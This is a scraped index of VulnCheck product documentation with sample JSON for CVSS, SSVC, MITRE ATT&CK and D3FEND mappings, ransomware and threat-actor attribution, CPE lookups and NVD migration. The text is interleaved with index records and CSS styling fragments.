accessed on the cve record in vulncheck-nvd and  vulncheck-nvd2.,{id:811,title:812,titles:813,content:814,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#example-cvss-v4-score,Example CVSS V4 Score,61,807,\cvssMetricV40\: \n          {\n            \source\: \MITRE-CVE: cisa-cg\,\n            \type\: \Secondary\,\n            \cvssData\: {\n              \attackComplexity\: \LOW\,\n              \attackRequirements\: \PRESENT\,\n              \attackVector\: \NETWORK\,\n              \baseScore\: 8.7,\n              \baseSeverity\: \HIGH\,\n              \privilegesRequired\: \HIGH\,\n              \subAvailabilityImpact\: \HIGH\,\n              \subConfidentialityImpact\: \HIGH\,\n              \subIntegrityImpact\: \HIGH\,\n              \userInteraction\: \ACTIVE\,\n              \vectorString\: \CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\,\n              \version\: \4.0\,\n              \vulnAvailabilityImpact\: \HIGH\,\n              \vulnConfidentialityImpact\: \HIGH\,\n              \vulnIntegrityImpact\: \HIGH\\n            }\n          }\n        ,\n        \threatCVSSV40Secondary\: \n          {\n            \exploitMaturity\: \ATTACKED\,\n            \associatedBaseMetricV40\: {\n              \source\: \MITRE-CVE: cisa-cg\,\n              \type\: \Secondary\,\n              \baseScore\: 8.7\n            }\n          },{id:816,title:817,titles:818,content:819,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#ssvc-stakeholder-specefic-vulnerability-categorization,SSVC (Stakeholder-Specefic Vulnerability Categorization),61,Vulncheck enriches CVEs with CISA Vulnrichment SSVC metrics and generates VulnCheck SSVC metrics using VulnCheck Intelligence in vulncheck-nvd and vulncheck-nvd2. Details on VulnCheck SSVC generation are available here.,{id:821,title:822,titles:823,content:824,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#example-ssvc-decisions,Example SSVC Decisions,61,817,\ssvc\: \n          {\n            \source\: \CISA-ADP\,\n            \exploitation\: \ACTIVE\,\n            \automatable\: \YES\,\n            \technicalImpact\: \TOTAL\\n          },\n          {\n            \source\: \VulnCheck\,\n            \exploitation\: \ACTIVE\,\n            \automatable\: \YES\,\n            \technicalImpact\: \TOTAL\\n          }\n        ,{id:826,title:827,titles:828,content:829,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#exploit-chains,Exploit Chains,61,VulnCheck identifies exploit chains from multiple sources which can be accessed on the cve record in exploit-chains.,{id:831,title:832,titles:833,content:834,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#known-exploited-vulnerabilities,Known Exploited Vulnerabilities,61,VulnCheck identifies known exploited vulnerabilities from hundreds of sources which can be accessed on the cve record in exploits and vulncheck-kev.,{id:836,title:837,titles:838,content:839,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#mitre-attck-technique-mappings,MITRE ATT&CK Technique Mappings,61,VulnCheck generates Mitre Att&ck Mappings, mitigations, detections, and d3fend techniques which can be accessed on the cve record in vulncheck-nvd and vulncheck-nvd2.,{id:841,title:842,titles:843,content:844,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#example-mitre-attck-technique-mapping,Example MITRE ATT&CK Technique Mapping,61,837,\mitreAttackTechniques\: \n        {\n          \id\: \T1210\,\n          \url\: \https://attack.mitre.org/techniques/T1210\,\n          \name\: \Exploitation of Remote Services\,\n          \domain\: \Enterprise\,\n          \tactics\: \n            \lateral-movement\\n          ,\n          \subtechnique\: false,\n          \mitigations\: \n            {\n              \id\: \M1048\,\n              \mitigation_url\: \https://attack.mitre.org/mitigations/M1048\,\n              \description\: \Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. Risks of additional exploits and weaknesses in these systems may still exist. 45\\n            },\n            {\n              \id\: \M1042\,\n              \mitigation_url\: \https://attack.mitre.org/mitigations/M1042\,\n              \description\: \Minimize available services to only those that are necessary.\\n            },\n            {\n              \id\: \M1050\,\n              \mitigation_url\: \https://attack.mitre.org/mitigations/M1050\,\n              \description\: \Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. 46 Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. 47 Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.\\n            },\n            {\n              \id\: \M1030\,\n              \mitigation_url\: \https://attack.mitre.org/mitigations/M1030\,\n              \description\: \Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods.\\n            },\n            {\n              \id\: \M1026\,\n              \mitigation_url\: \https://attack.mitre.org/mitigations/M1026\,\n              \description\: \Minimize permissions and access for service accounts to limit impact of exploitation.\\n            },\n            {\n              \id\: \M1019\,\n              \mitigation_url\: \https://attack.mitre.org/mitigations/M1019\,\n              \description\: \Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization.\\n            },\n            {\n              \id\: \M1051\,\n              \mitigation_url\: \https://attack.mitre.org/mitigations/M1051\,\n              \description\: \Update software regularly by employing patch management for internal enterprise endpoints and servers.\\n            },\n            {\n              \id\: \M1016\,\n              \mitigation_url\: \https://attack.mitre.org/mitigations/M1016\,\n              \description\: \Regularly scan the internal network for available services to identify new and potentially vulnerable services.\\n            }\n          ,\n          \detections\: \n            {\n              \id\: \DS0015\,\n              \datasource\: \Application Log\,\n              \detects\: \Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Web Application Firewalls may detect improper inputs attempting exploitation. sourcetype\\\WinEventLog:System\\\ (EventCode7031 OR EventCode1000) OR sourcetype\\\linux:syslog\\\ OR sourcetype\\\macos:system\\\| search Message\\\service terminated unexpectedly\\\ OR Message\\\segmentation fault\\\ OR Message\\\service restart\\\| stats count by Host, ServiceName, Message, _time| eval exploitation_suspiciousif(count \\u003E threshold OR match(Message, \\\segmentation fault|service terminated unexpectedly\\\), \\\suspicious\\\, \\\normal\\\)| where exploitation_suspicious\\\suspicious\\\| table _time, Host, ServiceName, Message, exploitation_suspicious\\n            },\n            {\n              \id\: \DS0029\,\n              \datasource\: \Network Traffic\,\n              \detects\: \Use deep packet inspection to look for artifacts of common exploit traffic, such as known payloads. sourcetype\\\network:packet_capture\\\ OR sourcetype\\\ids:alert\\\| search (alert IN (\\\SMB Exploit Detected\\\, \\\RDP Exploit Attempt\\\, \\\MySQL Exploit Attempt\\\)) OR (src_port IN (445, 3389, 3306))| stats count by src_ip, dest_ip, dest_port, protocol, signature, _time| eval anomaly_detectedif(count \\u003E threshold OR match(signature, \\\Exploit Attempt|Remote Code Execution\\\), \\\suspicious\\\, \\\normal\\\)| where anomaly_detected\\\suspicious\\\| table _time, src_ip, dest_ip, dest_port, protocol, signature, anomaly_detected\\n            }\n          ,\n          \d3fendmapping\: \n            {\n              \id\: \M1048\,\n              \d3fendtechniques\: \n                {\n                  \id\: \D3-DA\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:DynamicAnalysis\\n                },\n                {\n                  \id\: \D3-HBPI\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:Hardware-basedProcessIsolation\\n                },\n                {\n                  \id\: \D3-SCF\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:SystemCallFiltering\\n                }\n              \n            },\n            {\n              \id\: \M1042\,\n              \d3fendtechniques\: \n                {\n                  \id\: \D3-ACH\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening\\n                },\n                {\n                  \id\: \D3-EDL\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:ExecutableDenylisting\\n                },\n                {\n                  \id\: \D3-SCF\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:SystemCallFiltering\\n                }\n              \n            },\n            {\n              \id\: \M1050\,\n              \d3fendtechniques\: \n                {\n                  \id\: \D3-SSC\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:ShadowStackComparisons\\n                },\n                {\n                  \id\: \D3-AH\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:ApplicationHardening\\n                },\n                {\n                  \id\: \D3-EHPV\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:ExceptionHandlerPointerValidation\\n                },\n                {\n                  \id\: \D3-ITF\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:InboundTrafficFiltering\\n                }\n              \n            },\n            {\n              \id\: \M1030\,\n              \d3fendtechniques\: \n                {\n                  \id\: \D3-BDI\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:BroadcastDomainIsolation\\n                },\n                {\n                  \id\: \D3-ET\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:EncryptedTunnels\\n                },\n                {\n                  \id\: \D3-ISVA\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:InboundSessionVolumeAnalysis\\n                },\n                {\n                  \id\: \D3-ITF\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:InboundTrafficFiltering\\n                }\n              \n            },\n            {\n              \id\: \M1026\,\n              \d3fendtechniques\: \n                {\n                  \id\: \D3-DAM\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:DomainAccountMonitoring\\n                },\n                {\n                  \id\: \D3-LAM\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:LocalAccountMonitoring\\n                },\n                {\n                  \id\: \D3-SPP\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:StrongPasswordPolicy\\n                }\n              \n            },\n            {\n              \id\: \M1051\,\n              \d3fendtechniques\: \n                {\n                  \id\: \D3-SU\,\n                  \url\: \https://d3fend.mitre.org/technique/d3f:SoftwareUpdate\\n                }\n              \n            }\n           The above example shows MITRE ATT&CK data that the vulncheck-nvd2 index returns when mappings are available.,{id:846,title:847,titles:848,content:849,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#mitre-attck-technique-nist-controls-cis-controls-to-threat-actor-botnet-and-ransomare-mappings,Mitre ATT&CK Technique / NIST Controls / CIS Controls to Threat Actor, Botnet and Ransomare Mappings,61,VulnCheck generates Mitre Att&ck Mappings, mitigations, detections, and d3fend techniques which can be accessed on the cve record in threat-actors, botnets and ransomware.,{id:851,title:842,titles:852,content:853,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#example-mitre-attck-technique-mapping-1,61,847,\associated_mitre_attack_techniques\: \n        {\n          \id\: \T1190\,\n          \name\: \Exploit Public-Facing Application\,\n          \domain\: \Enterprise\,\n          \tactics\: \n            \initial-access\\n          ,\n          \subtechnique\: false,\n          \nist_controls\: \n            {\n              \nist_control_id\: \CA-07\,\n              \nist_control_name\: \Continuous Monitoring\,\n              \nist_control_family\: \Security Assessment and Authorization\,\n              \cis_controls\: \n                {\n                  \cis_control_id\: \cisc-3.13\,\n                  \cis_control_name\: \Segment Data Processing and Storage Based on Sensitivity\,\n                  \cis_control_description\: \Implement an automated tool, such as a host-based Data Loss Prevention (DLP) tool to identify all sensitive data stored, processed, or transmitted through enterprise assets, including those located onsite or at a remote service provider, and update the enterprise’s sensitive data inventory.\\n                }\n              \n            }, The above example shows MITRE ATT&CK data that the threat-actors index returns when mappings are available.,{id:855,title:856,titles:857,content:858,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#ransomware-attribution,Ransomware Attribution,61,The VulnCheck ransomware index contains data related to ransomware. The index contains listings of ransomware and citations for the CVE they have been known to use.,{id:860,title:861,titles:862,content:863,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#example-api-response-for-individual-ransomware-records,Example API Response for Individual Ransomware Records,61,856,\ransomware_family\: \Cactus\,\n      \malpedia_url\: \https://malpedia.caad.fkie.fraunhofer.de/details/win.cactus\,\n      \cve_references\: \n        {\n          \url\: \https://www.arcticwolf.com/resources/blog/qlik-sense-exploited-in-cactus-ransomware-campaign/\,\n          \date_added\: \2023-11-28\,\n          \cve\: \n            \CVE-2023-41266\,\n            \CVE-2023-48365\\n          \n        },\n        {\n          \url\: \https://blog.fox-it.com/2024/04/25/sifting-through-the-spines-identifying-potential-cactus-ransomware-victims/\,\n          \date_added\: \2024-04-25\,\n          \cve\: \n            \CVE-2023-41266\,\n            \CVE-2023-41265\\n          \n        }\n        // ...\n      ,\n      \cve\: \n        \CVE-2023-41266\,\n        \CVE-2023-48365\,{id:865,title:866,titles:867,content:868,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#references,References,61,VulnCheck collects references from hundreds of sources across the world for CVEs which can be accessed on the cve record in vulncheck-nvd1 and  vulncheck-nvd2. We also provide many of the reference sources as indices which you can browse.,{id:870,title:871,titles:872,content:873,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#threat-actor-attribution,Threat Actor Attribution,61,VulnCheck tracks hundreds of named threat actors who have been reported to exploit specific vulnerabilities in the wild. The VulnCheck threat-actors index contains data related to various threat actors and cve counts for threat actors, is incorporated into the exploits index. The index contains listings of threat actors and citations for the CVE they have been known to use. VulnCheck tracks Advanced Persistent Threat (APT), named Threat Actors, ransomware groups, botnets, and other adversaries. We track a wide variety of named threat actors, including Threat Actors from Russia & China, as well as Threat Actors who have been reported to target Industrial Control Systems & Operational Technology (ICS/OT). VulnCheck collects Threat Actor information from a wide variety of sources and then assembles this disparate information into the industry’s most easily consumable exploit intelligence offering, VulnCheck Exploit & Vulnerability Intelligence. With VulnCheck Exploit & Vulnerability Intelligence, threat actors can easily be looked up by a wide variety of names and naming schemes. In the Cybersecurity industry there exists many different naming schemes for Threat Actors. Each Cybersecurity vendor tends to name Threat Actors using their own methodologies, which makes correlating Threat Actor behaviors more challenging. At VulnCheck, we support researching Threat Actors using a wide variety of options.,{id:875,title:876,titles:877,content:878,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#mitre-attck-group-names,MITRE ATT&CK Group Names,61,871,Many organizations rely on MITRE Attack Group names for Threat Actors. VulnCheck Exploit & Vulnerability Intelligence includes the MITRE Attack Group name, as well as the aliases, as shown below: {\n  \name\: \Dragonfly\,\n  \aliases\: \n    \Dragonfly\,\n    \TG-4192\,\n    \Crouching Yeti\,\n    \IRON LIBERTY\,\n    \Energetic Bear\\n  \n},{id:880,title:881,titles:882,content:883,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#misp-threat-actor-names,MISP Threat Actor Names,61,871,Many other organizations rely on MISP Threat Actor names for correlating Threat Actor behaviors. VulnCheck Exploit Intelligence includes the MISP Threat Actor names (the value field below), as well as the aliases, shown below as synonyms: {\n  \synonyms\: \n    \Dragonfly\,\n    \Crouching Yeti\,\n    \Group 24\,\n    \Havex\,\n    \CrouchingYeti\,\n    \Koala Team\,\n    \IRON LIBERTY\\n  ,\n  \value\: \Energetic Bear\\n},{id:885,title:886,titles:887,content:888,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#cybersecurity-vendor-names,Cybersecurity Vendor Names,61,871,Some of the Cybersecurity vendors have their own naming schemes and make it straightforward to follow. In these cases, VulnCheck Exploit & Vulnerability Intelligence also includes the Threat Actor names used by the vendor. Three such naming schemes VulnCheck Exploit & Vulnerability Intelligence supports natively, are CrowdStrike, Dragos, Mandiant, & Microsoft naming systems. \vendor_names_for_threat_actors\: \n    {\n      \vendor_name\: \CrowdStrike\,\n      \threat_actor_name\: \Fancy Bear\\n    },\n    {\n      \vendor_name\: \Mandiant\,\n      \threat_actor_name\: \APT28\,\n      \url\: \https://www.mandiant.com/resources/insights/apt-groups\\n    }\n   Regardless of what Threat Actor naming scheme your organization uses, VulnCheck Exploit & Vulnerability Intelligence makes it easy to find the Threat Actors youre looking for.,{id:890,title:891,titles:892,content:893,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#vulnerability-categorizations,Vulnerability Categorizations,61,VulnCheck generates categorizations for CVEs which can be accessed on the cve record in vulncheck-nvd and  vulncheck-nvd2. Categorizations include ICS/OT, IoMT, IoT, Mobile, Server Software, and more.,{id:895,title:896,titles:897,content:898,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#example-vulnerability-categorization,Example Vulnerability Categorization,61,891,\categorization\: {\n          \tags\: \n            \ICS/OT\,\n            \IoT\\n          ,{id:900,title:901,titles:902,content:903,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#vulnerability-status,Vulnerability Status,61,VulnCheck Exploit & Vulnerability Intelligence maintains a Vulnerability Status field in the header of vulnerability requests. The Vulnerability Status field helps distinguish between confirmed vulnerabilities and other vulnerabilities with a different status, such as disputed or rejected vulnerabilities.,{id:905,title:906,titles:907,content:908,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#vulnerability-status-definitions,Vulnerability Status Definitions,61,901,StatusMeaningConfirmedThe most common vulnerability status. Most vulnerabilities have a status of Confirmed.DisputedIf a vulnerability is disputed, for whatever reason, a vulnerability has a status of Disputed.PendingCVEs that do not currently have a description live in NVD and are not set to another status, such as Reserved, are set to Pending.RejectedIf a vulnerability has been rejected for whatever reason, it has a status of Rejected.ReservedCVEs that have been reserved in blocks by CVE Numbering Authorities (CNA), have a status of Reserved if they have not yet been published by NIST.UnsupportedIf the CVE, at the time of publication, has been reported in End of Life or otherwise unsupported software, the vulnerability status is set to Unsupported.UnverifiableIf the vulnerability information is ambiguous and cannot be verified, the status is set to Unverifiable. The above table shows the currently available status in the VulnCheck vulnerability status field. html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic}html pre.shiki code .sHwdD, html code.shiki .sHwdD{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#546E7A;--shiki-default-font-style:italic;--shiki-dark:#676E95;--shiki-dark-font-style:italic},{id:67,title:66,titles:910,content:69,level:528},,{id:912,title:913,titles:914,content:915,level:174},/products/exploit-and-vulnerability-intelligence/cpe#vulncheck-cpe-overview,VulnCheck CPE Overview,66,VulnCheck generates fast and accurate Common Platform Enumeration (CPE) that maps technology systems, software, and packages to CVEs. We have automated the generation of CPE and have made it available in vulncheck-nvd1, vulncheck-nvd2, nist-nvd1 and nist-nvd2 indexes. Adding our CPE data to the same field that NIST populates would only cause confusion, so weve instead added the following fields: vcConfigurations: Exactly the same as the NVD configurations field, but populated by VulnCheck.vcVulnerableCPEs: NVD uses matchCriteriaId to facilitate CPE \unrolling\. VulnCheck has decided to remove this additional step, and include the unrolled CPE in the vcVulnerableCPEs field. Note that, vcConfigurations matchCriteriaId will always be empty because we are using vcVulnerableCPEs instead. However, its a required field in the NIST schema so we elected to leave it. VulnCheck generates CPE when the information is available providing you with faster and more accurate CPE. In order to ensure the most complete coverage consider using NIST NVDs CPE which is the configurations attribute when VulnCheck CPE vcConfigurations is unavailable.,{id:917,title:918,titles:919,content:920,level:174},/products/exploit-and-vulnerability-intelligence/cpe#cpe-api-lookup,CPE API Lookup,66,VulnChecks cpe API endpoint provides the ability to lookup a list of vulnerabilities based on the specified CPE (Common Platform Enumeration) URI string. We support v2.2 and v2.3 Query CVEs based on CPE: https://api.vulncheck.com/v3/cpe?cpecpe:/o:paloaltonetworks:pan-os:10.2.0:2h:*:*:*:*:* For more details on using the CPE API Endpoint, see CPE API Endpoint(/api/cpe) The complete VulnCheck CPE to CVE mapping is available using our cpecve backup endpoint: https://api.vulncheck.com/v3/backup/cpecve,{id:922,title:923,titles:924,content:925,level:174},/products/exploit-and-vulnerability-intelligence/cpe#cpe-cli-lookup,CPE CLI Lookup,66,VulnChecks CLI cpe lookup provides a list of vulnerabilities based on the specified CPE (Common Platform Enumeration) URI String. We support v2.2 and v2.3 Example CLI Command vulncheck cpe \cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*\ Learn more about using VulnCheck CLI here.,{id:927,title:928,titles:929,content:930,level:174},/products/exploit-and-vulnerability-intelligence/cpe#vulncheck-generated-cpe-example-from-vulncheck-nvd2,VulnCheck Generated CPE Example From vulncheck-nvd2,66,The following example of vcConfigurations and vcVulnerableCPEs is from vulncheck-nvd2?cveCVE-2024-28746. Note that the cpeMatch describes the affected versions, and vcVulnerableCPEs lists them. \vcConfigurations\: \n    {\n      \nodes\: \n        {\n          \cpeMatch\: \n            {\n              \vulnerable\: true,\n              \criteria\: \cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*\,\n              \versionStartIncluding\: \2.8.0\,\n              \versionEndExcluding\: \2.8.3\,\n              \matchCriteriaId\: \\\n            }\n          \n        }\n      \n    }\n  ,\n  \vcVulnerableCPEs\: \n    \cpe:2.3:a:apache:airflow:2.8.0:*:*:*:*:*:*:*\,\n    \cpe:2.3:a:apache:airflow:2.8.1:*:*:*:*:*:*:*\,\n    \cpe:2.3:a:apache:airflow:2.8.2:*:*:*:*:*:*:*\\n  ,{id:932,title:933,titles:934,content:935,level:174},/products/exploit-and-vulnerability-intelligence/cpe#vulnchecked-added-cpe-example-from-vulncheck-nvd,VulnChecked Added CPE Example From vulncheck-nvd,66,The following example of vcConfigurations and vcVulnerableCPEs is from vulncheck-nvd?cveCVE-2024-28746: \vcConfigurations\: {\n    \CVE_data_version\: \4.0\,\n    \nodes\: \n      {\n        \cpe_match\: \n          {\n            \vulnerable\: true,\n            \cpe23Uri\: \cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*\,\n            \versionStartIncluding\: \2.8.0\,\n            \versionEndExcluding\: \2.8.3\\n          }\n        \n      }\n    \n  },\n  \vcVulnerableCPEs\: \n    \cpe:2.3:a:apache:airflow:2.8.0:*:*:*:*:*:*:*\,\n    \cpe:2.3:a:apache:airflow:2.8.1:*:*:*:*:*:*:*\,\n    \cpe:2.3:a:apache:airflow:2.8.2:*:*:*:*:*:*:*\\n   html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C},{id:72,title:71,titles:937,content:938,level:528},,VulnCheck Exploit & Vulnerability Intelligence includes early access to CVEs not yet published in the NIST National Vulnerability Database (NVD). VulnCheck Exploit & Vulnerability Intelligence often includes early access information on CVEs not yet published by NIST in the NVD, in cases where vendor advisories are monitored or exploits are discovered.,{id:940,title:11,titles:941,content:942,level:174},/products/exploit-and-vulnerability-intelligence/early-access#overview,71,VulnCheck Exploit & Vulnerability Intelligence is an autonomous system that tracks hundreds of vendor and government advisories, and then marries that data with best-in-class exploit intel from VulnCheck. When it comes to CVE records published by NIST in the National Vulnerability Database (NVD), there is often a lag associated with publication. VulnCheck Exploit & Vulnerability Intelligence monitors far more sources than just the NVD, allowing organizations to get a heads up on future CVEs ahead of their publication by NIST in the NVD.,{id:944,title:945,titles:946,content:947,level:174},/products/exploit-and-vulnerability-intelligence/early-access#example-root-cause-cve-numbering-authority-cna-publication,Example Root Cause: CVE Numbering Authority (CNA) Publication,71,Often a CVE Numbering Authority (CNA) has gone public with a CVE via a Vendor Advisory or Blog post, before NIST has published the CVE record. In cases like these, a CVE is often still marked RESERVED in the NVD, because the CVEs are allocated in blocks to CNAs, yet actively used in the public domain until later publication by NIST in the NVD.,{id:949,title:950,titles:951,content:952,level:174},/products/exploit-and-vulnerability-intelligence/early-access#enter-vulncheck-early-access-to-unpublished-cves,Enter VulnCheck: Early Access to Unpublished CVEs,71,In cases where VulnCheck Exploit & Vulnerability Intelligence is monitoring the Vendor Advisories, such as those of a CNA, customers of VulnCheck Exploit & Vulnerability Intelligence do not suffer from a NIST NVD publication lag, because VulnCheck Exploit & Vulnerability Intelligence is able to include CVE references for monitored vendor and exploit sources, including for CVEs that are marked RESERVED by NIST in the NVD, or are otherwise unpublished by NIST.,{id:954,title:955,titles:956,content:957,level:174},/products/exploit-and-vulnerability-intelligence/early-access#example-pwnkit-cve-2021-4034,Example: PwnKit (CVE-2021-4034),71,The PwnKit vulnerability (CVE-2021-4034) was discovered by the Qualys research team and published on 2022-01-25. The same day, 2022-01-25, numerous vendor advisories were published, such as by Debian and Red Hat. In fact, Red Hat was the CVE Numbering Authority (CNA) responsible for the CVE. Additionally, numerous exploits were published, that same day, on 2022-01-25, including several on GitHub. The NIST National Vulnerability Database only published the original PwnKit (CVE-2021-4034) vulnerability record in the NVD on 2022-01-28. Thus, organizations relying on the NVD for their source of vulnerability data, would have been blind to the vulnerability disclosure and associated exploits in-the-wild.,{id:77,title:76,titles:959,content:960,level:528},,VulnCheck makes it easy to migrate from the NIST NVD to VulnCheck Exploit & Vulnerability Intelligence. VulnCheck Exploit & Vulnerability Intelligence service provides vulnerability enrichment such as CVSS temporal/threat scores, vulnerability categorization data, and embeds rich exploit intelligence to go well above and beyond what the NIST National Vulnerability Database (NVD) provides. VulnCheck Exploit & Vulnerability Intelligence is an autonomous system that tracks hundreds of vendor and government advisories, and then marries that data with best-in-class exploit intelligence from VulnCheck.,{id:962,title:76,titles:963,content:964,level:174},/products/exploit-and-vulnerability-intelligence/nvd-migration#nvd-migration,76,VulnCheck Exploit & Vulnerability Intelligence makes it easy to migrate from using the NIST NVD to using VulnCheck as your primary source of vulnerability information. To start, if you already consume the NIST NVD, from NIST, then youre likely aware of the challenges. NIST NVD 1.0 previously had offline backups that were quite popular, but NIST deprecated the NVD 1.0 offline backups in favor of the NVD 1.0 API, which suffered from frequent API timeout issues and dropped requests. Then NIST abruptly stopped supporting NIST NVD 1.0, which everyone had integrated with, and forced everyone to move to NIST NVD 2.0s API. 